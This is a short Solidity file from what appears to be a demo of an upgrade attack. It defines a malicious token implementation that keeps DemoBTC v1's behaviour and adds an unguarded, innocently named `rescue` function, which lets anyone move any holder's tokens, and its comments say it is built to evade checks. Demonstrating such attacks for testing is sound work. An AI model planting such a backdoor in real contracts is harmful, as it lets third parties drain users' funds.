src/attack/EvilDrainImpl.sol16 lines · 825 bytes
| 1 | // SPDX-License-Identifier: MIT |
| 2 | pragma solidity 0.8.37; |
| 3 | |
| 4 | import {DemoBTC} from "../DemoBTC.sol"; |
| 5 | |
| 6 | /// @title EvilDrainImpl (demo attack: third-party drain) |
| 7 | /// @notice Same storage layout and every selector of DemoBTC v1 unchanged (mint stays owner-only, transfers |
| 8 | /// conserve, the owner stays put), plus an innocent-sounding `rescue(from, to, amount)` with no access |
| 9 | /// control: anyone can move any holder's tokens to any address, without an allowance. Total supply, the |
| 10 | /// owner and every v1 code path are untouched, so only a probe of the new selector shows the drain. |
| 11 | /// @dev Deliberately malicious demo code. Never deploy outside a demo. |
| 12 | contract EvilDrainImpl is DemoBTC { |
| 13 | function rescue(address from, address to, uint256 amount) external { |
| 14 | _transfer(from, to, amount); |
| 15 | } |
| 16 | } |